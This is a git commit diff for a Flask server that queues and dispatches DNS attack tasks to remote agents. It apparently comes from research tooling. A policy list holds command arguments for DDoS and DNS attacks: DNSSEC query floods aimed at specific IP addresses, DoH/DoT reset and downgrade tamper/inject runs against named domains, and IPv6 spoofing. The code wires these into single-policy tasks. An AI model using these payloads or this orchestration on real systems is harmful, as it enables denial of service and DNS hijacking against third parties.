bugfix and databasesHEADmain

3 files changed, 82 insertions, 44 deletions

diff --git a/server/apps/policy_list.py b/server/apps/policy_list.py
index ac632a3..9a01c95 100644
--- a/server/apps/policy_list.py
+++ b/server/apps/policy_list.py
@@ -1,51 +1,56 @@
 import random
-from exts import db
-from model import Task
 
 ddos_policy_dic = [
     # doh python start_reset_att.py
-    {"id": "7", "payload": "-n 1"},
-    {"id": "7", "payload": "-n 3"},
-    # {"id": "7", "payload": "-n 4"},
-    
+    {"id": "7", "payload": "-n 1", "pname": "doh"},
+    {"id": "7", "payload": "-n 3", "pname": "doh"},
+    # {"id": "7", "payload": "-n 4", "pname": "doh"},
+
     # dot python3 start_pending.py 
-    {"id": "10", "payload": "-n 2 -wait 50 -round 1"},
-    {"id": "10", "payload": "-n 2 -wait 100 -round 5"},
-    # {"id": "10", "payload": "-n 2 -wait 300 -round 5"},
+    {"id": "10", "payload": "-n 2 -wait 50 -round 1", "pname": "dot"},
+    {"id": "10", "payload": "-n 2 -wait 100 -round 5", "pname": "dot"},
+    # {"id": "10", "payload": "-n 2 -wait 300 -round 5", "pname": "dot"},
 
     # ipv6 ./prober 
-    {"id": "5", "payload": "comm.e64.fun. 5000 47.76.237.22"},
-    {"id": "5", "payload": "comm.e64.fun. 10000 47.76.237.22 47.242.54.229"},
-    {"id": "5", "payload": "comm.e64.fun. 15000 47.76.237.22 47.242.54.229 8.210.135.224"},
-
+    {"id": "5", "payload": "comm.e64.fun. 5000 47.76.237.22", "pname": "ipv6"},
+    {"id": "5", "payload": "comm.e64.fun. 10000 47.76.237.22 47.242.54.229", "pname": "ipv6"},
+    {"id": "5", "payload": "comm.e64.fun. 15000 47.76.237.22 47.242.54.229 8.210.135.224", "pname": "ipv6"},
 
     # dnssec ./dtool 
-    {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 50 -n 5000"},
-    {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 50 -n 5000"},
-    {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 200 -n 20000"},
-    {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 200 -n 20000"},
-    {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 300 -n 30000"},
-    {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 300 -n 30000"},
-    
+    {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 50 -n 5000", "pname": "dnssec"},
+    {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 50 -n 5000", "pname": "dnssec"},
+    {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 200 -n 20000", "pname": "dnssec"},
+    {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 200 -n 20000", "pname": "dnssec"},
+    {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 300 -n 30000", "pname": "dnssec"},
+    {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 300 -n 30000", "pname": "dnssec"},
 ]
+
 sjqp_policy_dic = [
     # sjqp dnssec python proxy.py
-    {"id": "4", "payload": ""},
+    {"id": "4", "payload": "", "pname": "dnssec"},
 
     # sjqp ipv6 ./attack.sh 
-    {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 1.1.1.1 eth0 baidu.com 240b:4001:150:a600:5b9:609e:d0ae:e1b"},
-    # {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 2000::1 eth0 victim.duktig.xyz 240b:4001:150:a600:5b9:609e:d0ae:e1b"},
-    # {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 2000::2 eth0 baidu.com 240b:4001:150:a600:5b9:609e:d0ae:e1b"},
+    {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 1.1.1.1 eth0 baidu.com 240b:4001:150:a600:5b9:609e:d0ae:e1b", "pname": "ipv6"},
+    # {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 2000::1 eth0 victim.duktig.xyz 240b:4001:150:a600:5b9:609e:d0ae:e1b", "pname": "ipv6"},
+    # {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 2000::2 eth0 baidu.com 240b:4001:150:a600:5b9:609e:d0ae:e1b", "pname": "ipv6"},
     
-    # sjqp doh python downgrade_phase1.py python downgrade_phase1.py 
-    {"id": "8", "payload": "-tamper baidu.com -a 1.1.1.1 && python degrade_phase2.py -p doh"},
-    {"id": "9", "payload": "-inject baidu.com -a 1.1.1.1 && python degrade_phase2.py -p doh"},
+    # sjqp doh python downgrade_phase1.py 
+    {"id": "8", "payload": "-tamper baidu.com -a 1.1.1.1 && python degrade_phase2.py -p doh", "pname": "doh"},
+    {"id": "9", "payload": "-inject baidu.com -a 1.1.1.1 && python degrade_phase2.py -p doh", "pname": "doh"},
     
-    # sjqp dot python downgrade_phase1.py python downgrade_phase1.py
-    {"id": "11", "payload": "-tamper baidu.com -a 1.1.1.1 && python degrade_phase2.py -p dot"},
-    {"id": "12", "payload": "-inject baidu.com -a 1.1.1.1 && python degrade_phase2.py -p dot"},
+    # sjqp dot python downgrade_phase1.py 
+    {"id": "11", "payload": "-tamper baidu.com -a 1.1.1.1 && python degrade_phase2.py -p dot", "pname": "dot"},
+    {"id": "12", "payload": "-inject baidu.com -a 1.1.1.1 && python degrade_phase2.py -p dot", "pname": "dot"},
 ]
 
+def get_single_policy(policy_type, pname):
+    if policy_type == "ddos":
+        policy_list = ddos_policy_dic
+    elif policy_type == "sjqp":
+        policy_list = sjqp_policy_dic
+    dot_item = next((item for item in policy_list if item["pname"] == pname), None)
+    return dot_item
+
 # 用于保存每个用户的索引，结构为 {task_id: {"ddos": index, "sjqp": index}}
 index = {}
 
@@ -77,13 +82,6 @@ def get_policy(policy_type, task_id):
     return command
 
 if __name__ == '__main__':
-    print(get_policy("sjqp"))
-    print(get_policy("sjqp"))
-    print(get_policy("ddos"))
-    print(get_policy("ddos"))
-    print(get_policy("ddos"))
-    print(get_policy("ddos"))
-    print(get_policy("ddos"))
-    print(get_policy("sjqp"))
-    print(get_policy("sjqp"))
+    print(get_single_policy("sjqp", "doh"))
+
    
\ No newline at end of file
diff --git a/server/apps/target.py b/server/apps/target.py
index 31e719d..fb777cf 100644
--- a/server/apps/target.py
+++ b/server/apps/target.py
@@ -152,7 +152,8 @@ def average_without_max(results):
 
 def task_monitoring(task):
     with scheduler.app.app_context():
-        target_status = task.task_policies[-1].target_status
+        # target_status = task.task_policies[-1].target_status
+        task = db.session.query(Task).filter_by(task_id = task.task_id).first()
         addr = task.target.addrv4 if task.target.addrv4 else task.target.addrv6
 
         nodes_info = json.loads(task.SCAN_AGENT_ID_LIST)
diff --git a/server/apps/task.py b/server/apps/task.py
index 17fd9e4..f2bb8de 100644
--- a/server/apps/task.py
+++ b/server/apps/task.py
@@ -99,7 +99,8 @@ def valid_task_info(task_param: dict):
     # 任务执行时限，单位分钟
     "run_time": Integer(load_default=600),
     # 运行配置
-    "run_flag": String(validate=OneOf(["now", "man"]), load_default="now")
+    "run_flag": String(validate=OneOf(["now", "man"]), load_default="now"),
+    "pname": String(required=False),
 }, example={'name': "test_task", 'target': "47.76.239.205", 'agent': "inrz674e", 'target_domain': "www.google.com",
             'target_rr': "NS ns.ourattack.com",
             'policy': "auto", 'scan': "auto",
@@ -109,8 +110,15 @@ def valid_task_info(task_param: dict):
     "msg": String()
 })
 # TODO: 需要更新接口，created_by
-def make_task(json_data):
+def create_task(json_data):
+    task = make_task(json_data=json_data)
+    pname = json_data.get("pname")
+    if pname is None:
+        return make_multi_task(task)
+    else:
+        return make_single_task(task,pname)
 
+def make_task(json_data):
     task = Task(
         task_id=str(uuid.uuid1()),
         task_name=json_data.get("name"),
@@ -156,8 +164,7 @@ def make_task(json_data):
     for agent in agents:
         selected_nodes_info[agent.agent_id] = agent.ipaddr.split("|")[0] + ":" + str(agent.port)
     task.SCAN_AGENT_ID_LIST = json.dumps(selected_nodes_info)
-
-    # 插入task
+    
     try:
         db.session.add(task)
         db.session.commit()
@@ -165,6 +172,9 @@ def make_task(json_data):
         db.session.rollback()
         error(str(e))
         return {"code": 500, "msg": str(e)}
+    return task
+
+def make_multi_task(task):
 
     # 任务策略初始化
     # task_policy = init_task_policy(task)
@@ -206,6 +216,35 @@ def make_task(json_data):
     return {"code": 200, "msg": "ok"}
 
 
+def make_single_task(task, pname):
+    from .policy_list import get_single_policy
+    policy = get_single_policy(task.ptype, pname)
+
+    task_policy = TaskPolicy(
+        policy = policy["id"],
+        policy_param = policy["payload"],
+        for_task = task.task_id
+    )
+    db.session.add(task_policy)
+    db.session.commit()
+    if task.status == "working":
+        err = deliver_task(task_policy)
+        if err is not None:
+            error(str(err))
+            return {"code": 500, "msg": str(err)}
+    from .target import task_monitoring
+    scheduler.add_job(
+        func = task_monitoring, 
+        trigger = 'date', 
+        args = (task, ),
+        id = f"{task.task_id}single",
+        run_date = datetime.now() + timedelta(seconds=30)
+    )
+    return {"code": 200, "msg": "ok"}
+
+
+
+
 def policy_change_timer(task):
     with scheduler.app.app_context():
         task_policy=db.session.query(TaskPolicy).get(task.task_policies[-1].tp_id)